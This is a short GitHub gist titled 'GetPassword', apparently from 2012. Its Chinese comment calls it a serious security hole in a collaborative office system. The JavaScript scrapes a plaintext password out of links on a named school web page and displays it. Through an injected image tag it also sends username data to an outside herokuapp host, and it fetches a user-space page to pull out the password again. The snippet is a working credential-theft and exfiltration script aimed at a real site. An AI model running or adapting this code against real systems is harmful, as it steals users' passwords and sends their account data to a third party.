Skip to content

Instantly share code, notes, and snippets.

@tianshuo
Created July 20, 2012 07:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tianshuo/3149208 to your computer and use it in GitHub Desktop.
Save tianshuo/3149208 to your computer and use it in GitHub Desktop.
GetPassword
// 协同办公有严重安全隐患
document.body.appendChild(document.createElement('script')).src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js";
document.getElementsByTagName("a")[3].outerHTML.match(/password=(.*)&/);
document.write("<h1 id='ps123' style='color:red;display:inline;'>你的密码是:"+RegExp.$1+"</h1>");
document.write("<img src='http://frozen-tor-6666.herokuapp.com/XIETONG:"+document.getElementsByTagName("a")[3].outerHTML.match(/username(.*)url/)+"' />");
$(function(){
var showpass=function(doc){
window.password=doc.match(/password=.*?&/).toString().slice(9,-1);
$("#ps123").text($("#UserHead1_Label1").text()+",你的密码是:"+password);
};
$.ajax({url:"http://gsxt.edunbc.com/mini/UserSpace.aspx",
success:showpass
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment